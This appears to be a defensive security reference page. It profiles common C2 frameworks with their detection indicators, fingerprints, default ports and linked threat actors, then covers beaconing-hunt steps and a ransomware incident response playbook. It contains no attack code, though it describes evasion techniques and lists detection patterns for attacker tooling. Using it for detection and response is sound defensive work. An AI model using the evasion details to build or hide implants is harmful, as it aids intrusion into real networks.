🖥️ Attacker Operator console Teamserver UI HTTPS 🔀 Redirector CDN worker / Domain front HTTPS 📡 C2 Server Listener / Handler CS / Sliver / Havoc Beacon 💻 Victim Host Implant in memory Calls back to C2 🖥️ Server B Lateral movement 🏛️ DC / Database Escalation target ← Pivot via SMB / WMI / RDP
Commercial & Widely Abused Frameworks
Cobalt Strike
Commercial
The most widely abused commercial C2 framework. Originally a legitimate red team tool by Fortra (formerly HelpSystems). Cracked versions proliferate in ransomware and APT operations. Uses "Beacon" implants with malleable C2 profiles to mimic legitimate traffic (e.g., jQuery, Google Analytics).
WindowsLinuxmacOS Beacon implantMalleable C2BOF support
Detection IOCs & Indicators
  • Default beacon check-in intervals: 60s (jitter ±30%)
  • Default staging ports: 50050 (teamserver), 80/443/8080/8443 (listeners)
  • HTTPS certs with invalid/self-signed or default Cobalt Strike OIDs
  • JA3 fingerprint: 72a7c9feebf2d402dd4432ad7d37a441
  • Artifact kit PE files: artifact32.exe · artifact64.exe
  • DNS beacon: high-frequency DNS queries with random subdomains
  • Sysmon Event 7: loading of beacon.dll or unknown reflective DLL
  • Named pipe: \\.\pipe\MSSE-XXXX-server
  • Process injection into common host processes (rundll32, svchost)
  • JARM fingerprint detection via jarm.py
Sliver
Open Source
Modern cross-platform C2 framework by BishopFox. Written in Go — implants compile to native binaries with no runtime dependency. Increasingly seen in threat actor operations as a Cobalt Strike alternative. Supports mTLS, HTTP/S, DNS, and WireGuard C2 channels.
Go implantsmTLSWireGuard C2 Windows/Linux/macOSBOF support
Detection IOCs & Indicators
  • Default TLS cert: Subject CN contains random words (e.g., "phantom-cobra")
  • Default listening port: 31337 (configurable)
  • Implant names follow random adjective-noun pattern by default
  • Go binary indicators: large PE size (5–15MB), Go runtime strings
  • mTLS: mutual certificate authentication with self-signed CA
  • DNS C2: subdomains with hex-encoded data in labels
  • WireGuard tunnelled traffic on UDP (unusual for enterprise)
Havoc
Open Source
Post-exploitation C2 framework by C5pider (released 2022). "Demon" implant supports Windows only currently. Features sleep obfuscation (Ekko/Zephyr), AMSI/ETW patching, indirect syscalls, and process injection. Increasingly seen in red team ops and emerging APT activity.
Demon implantSleep obfuscation Indirect syscallsWindows
Detection IOCs & Indicators
  • Default HTTP User-Agent mimics legitimate software (configurable)
  • Default teamserver port: 40056
  • AMSI/ETW patching: memory write to ntdll.dll regions
  • Sleep obfuscation: periodic RX→RW→RX memory region changes
  • Indirect syscalls: stack anomalies — syscall not from ntdll.dll
  • Named pipe: \\.\pipe\Demon_XXXXXXXX
Metasploit / Meterpreter
Open Source
The most widely known open-source exploitation framework by Rapid7. Used for exploit development, payload generation, and post-exploitation. Meterpreter is its primary implant. Heavily signature-detected by AV — attackers often use custom encoders or stagers to evade.
MeterpreterRuby 4444 defaultCross-platform
Detection IOCs & Indicators
  • Default reverse TCP listener port: 4444
  • Meterpreter staging URL: GET /[32 hex chars]
  • Reverse TCP: outbound from unexpected process to port 4444
  • Meterpreter in memory: reflective DLL load, no file on disk
  • Sysmon Event 8: CreateRemoteThread into explorer.exe / notepad.exe
  • HTTPS Meterpreter: self-signed cert with default Metasploit OIDs
Brute Ratel C4
Commercial (cracked)
Commercial C2 framework by Chetan Nayak (Paranoid Ninja), designed explicitly to evade EDR solutions with built-in AMSI bypass, ETW patching, and detection-aware sleep. A cracked version was seen in TA577 and state-sponsored group operations from 2022.
EDR evasionBadger implant No shellcode injectionWindows
Detection IOCs & Indicators
  • "Badger" implant — delivered via process hollowing or DLL sideloading
  • RC4-encrypted C2 traffic over HTTP/S with custom URI patterns
  • Default server port: 443 with specific TLS fingerprint
  • AMSI/ETW bypass: identical byte-patching patterns to Cobalt Strike
  • Cracked license strings detectable in binary
Mythic
Open Source
Modular C2 framework by its_a_feature. Docker-based teamserver with a plugin architecture for agents (Apollo, Poseidon, Athena). Highly extensible — agents written in C#, Go, Python, and more. Popular in sophisticated red team ops.
Modular agentsDocker WebSocket C2Cross-platform
Detection IOCs & Indicators
  • Default HTTPS port: 7443, HTTP: 80
  • WebSocket upgrade for C2 channel — persistent WS connection
  • Apollo (.NET): CLR loaded into unmanaged process
  • Poseidon (Go): large Go binary, similar to Sliver indicators
  • Athena (.NET): cross-platform, SMB/TCP named pipe C2
PowerShell Empire
Open Source
Post-exploitation framework maintained by BC-Security. PowerShell and Python agents. Primarily Windows-focused. Less common in modern ops due to heavy PowerShell logging detection, but still used in targeted attacks and seen in APT33 and FIN7 operations.
PowerShell agentPython agent RC4 encryptedWindows / Linux
Detection IOCs & Indicators
  • PowerShell Event 4104: base64 stager with System.Net.WebClient
  • Default staging URIs: /index.asp, /login/process.php
  • RC4-encrypted HTTP with Base64-encoded body
  • Default User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0)
  • Spoofed server header: Microsoft-IIS/7.5
Nighthawk
Commercial
Commercial C2 framework by MDSec marketed exclusively to vetted red teams. Designed with extreme detection evasion as the primary goal — low-and-slow beaconing, heavy sleep obfuscation, and minimal memory footprint. Very few public IOCs available.
Sleep obfuscationLow-and-slow Minimal IOCsWindows
Detection IOCs & Indicators
  • Extremely long beacon intervals (minutes to hours) with high jitter
  • Heavy sleep obfuscation — nearly invisible in memory scans
  • Very few public IOCs — behavioural detection is primary method
  • Focus on: anomalous process network activity, parent-child chains
Quick Reference — At a Glance
FrameworkTypeImplantDefault Port(s)Known Actors
Cobalt StrikeCommercial (cracked)Beacon (shellcode)50050 / 80 / 443APT29, Lazarus, LockBit, BlackCat, most ransomware groups
SliverOpen SourceGo binary (native)31337 / 443TA505, emerging threat actors (CS alternative)
HavocOpen SourceDemon (shellcode)40056 / 443Emerging actors (2022+), APT-adjacent ops
MetasploitOpen SourceMeterpreter (reflective DLL)4444 / 443Commodity attackers, opportunistic, CTF
Brute Ratel C4Commercial (cracked)Badger (shellcode)443TA577, NOBELIUM-linked, state-sponsored
MythicOpen SourceApollo / Poseidon / Athena7443 / 80Sophisticated red teams, emerging actors
PowerShell EmpireOpen SourcePS1 / Python agent80 / 443APT33, FIN7, financially motivated groups
NighthawkCommercialNighthawk agent443Vetted red teams, nation-state adjacent
IOC TypeIndicatorDetection Source
Beacon intervalDefault 60s with ±30% jitter — regular time-delta clusteringProxy/firewall logs, NetFlow analysis
JA3 fingerprint72a7c9feebf2d402dd4432ad7d37a441 (default HTTPS profile)Zeek / Suricata JA3 logging
TLS certificateDefault self-signed cert: C=Earth, ST=Somewhere, O=cobaltstrike (configurable)TLS cert inspection, certificate transparency
Named pipe\\.\pipe\MSSE-XXXX-server, \\.\pipe\postex_*Sysmon Event 17/18, EDR pipe events
Staging URIShort random path e.g. /aB3x followed by large responseProxy logs, HTTP content inspection
Process injectionCreateRemoteThread / NtCreateThreadEx into svchost, rundll32, explorerSysmon Event 8, EDR injection telemetry
Memory indicatorsPE with no backing file on disk, MZ header in non-module memory regionEDR memory scanning, Volatility
JARM fingerprintC2 server JARM: 07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1JARM scanning tool against suspected C2 IPs
Beaconing Detection — Network Hunting Logic
## STEP 1: Find regular beacon intervals
# Group outbound connections by src_ip + dst_ip + dst_port
# Calculate standard deviation of time deltas
# Flag: stddev < 10s for connections > 20 occurrences

## STEP 2: Flag low-data-volume periodic connections
# Heartbeat beacons: ~500 bytes each, very consistent size
# Cobalt Strike default: ~96 bytes GET, ~200 byte response

## STEP 3: Hunt for suspicious TLS characteristics
# Self-signed cert on an IP (no domain or newly registered domain)
# Certificate validity > 1 year issued to generic/random OU
# JA3 hash matching known C2 signatures (feed from threat intel)

## STEP 4: Correlate with endpoint telemetry
# Parent: which process is making the connection?
# svchost.exe / rundll32.exe connecting to external IPs = red flag
# Unsigned binary making outbound HTTPS = investigate

## STEP 5: DNS-based C2 hunting
# High volume DNS queries from single host
# Subdomains with high entropy (random-looking labels)
# TXT record queries — common C2 data channel
# Queries for newly registered / low-rep domains
Section 05
Incident Response
05.01IR Phases — Frameworks

Incident Response follows a structured lifecycle. The NIST SP 800-61r2 model is the most widely adopted; SANS PICERL is more granular. All frameworks share the same core loop: detect → contain → eradicate → recover → improve.

NIST SP 800-61r2 Phases
01
Preparation
IR plan, playbooks, tools, team training, detection baseline
02
Detection & Analysis
Identify via SIEM, EDR, IDS, users. Triage and assess severity.
03
Containment
Short-term isolation, then long-term containment strategy
04
Eradication
Remove malware, close access, patch vulnerability, clean systems
05
Recovery
Restore from clean backups, monitor for recurrence
06
Post-Incident
Root cause, full timeline, lessons learned, control improvements
Framework Comparison
FrameworkPhasesNotes
NIST SP 800-61r2Preparation → Detection & Analysis → Containment, Eradication & Recovery → Post-IncidentUS government standard; widely adopted globally
SANS PICERLPreparation → Identification → Containment → Eradication → Recovery → Lessons LearnedMore granular — splits detection into Identification phase
ISO/IEC 27035Plan & Prepare → Detect & Report → Assess & Decide → Respond → Lessons LearntInternational standard; integrates with ISO 27001 ISMS
05.02Ransomware IR Playbook

A structured playbook for responding to ransomware incidents. Do not follow steps in isolation — run detection, isolation, and preservation in parallel where possible. Evidence preservation is time-critical.

Response Phases
PhaseActionNotes
1. Detect
IdentifyConfirm ransomware via ransom note, encrypted file extensions, bulk rename eventsCheck for vssadmin delete shadows in process events
ClassifyIdentify family using extension, ransom note format, ID Ransomware websiteCheck nomoreransom.org for free decryptors first
2. Isolate
Network IsolateImmediately disconnect affected hosts from network — do NOT power offPreserve memory for forensics; some ransomware has kill switches that wipe on reboot
ScopeIdentify all affected systems via SIEM / EDR search for encryption indicatorsCheck file server access logs for mass read/write patterns across shares
3. Preserve
Memory CaptureCapture RAM from affected systems (Magnet RAM Capture, WinPmem)Ransomware encryption keys, C2 URLs, and injected code may only exist in memory
Forensic ImageImage affected disk before any cleanupRequired for legal proceedings; use hardware write blockers
Collect LogsPull SIEM, EDR, firewall, DNS, proxy, VPN logs immediatelyCollect before retention windows expire or attacker clears them
4. Investigate
Determine Entry PointTrace back to initial access: phishing? RDP brute-force? Vulnerable VPN? Supply chain?Check email gateway, VPN logs, external firewall for earliest suspicious activity
Map TimelineBuild full attack timeline: initial access → C2 → persistence → lateral movement → encryptionUse SIEM, EDR telemetry, and MFT ($MFT) timestamps for accuracy
5. Notify
InternalAlert management, legal, IT leadership per incident escalation matrixDocument all communications and decisions with timestamps
RegulatoryAssess mandatory notification requirements (PDPA, GDPR, HIPAA) within required timeframesSingapore MAS: notification within 1 hour for significant incidents
Law EnforcementReport to relevant agencies (SingCERT, FBI, CISA) as appropriateRequired for critical infrastructure; enables ransom payment tracking
6. Eradicate & Recover
Check PersistenceAudit all persistence locations before restoring (§04.04)Ransomware groups maintain backdoors to re-encrypt if paid
Reset CredentialsReset ALL domain accounts — service accounts, admin accounts, and krbtgt (twice)Assume all credentials on affected systems are fully compromised
Rebuild / RestoreRebuild from known-clean images; restore data from offline backups onlyValidate backup integrity before reconnecting to network
Patch Entry PointPatch the vulnerability that enabled initial access before going liveSame entry point is reused in 80%+ of ransomware re-infections
🚫 Do NOT pay the ransom without legal counsel. Payment may violate sanctions laws (OFAC). It does not guarantee decryption. It directly funds further attacks. Always check nomoreransom.org for free decryptors first — approximately 40% of businesses that pay do not recover all their data.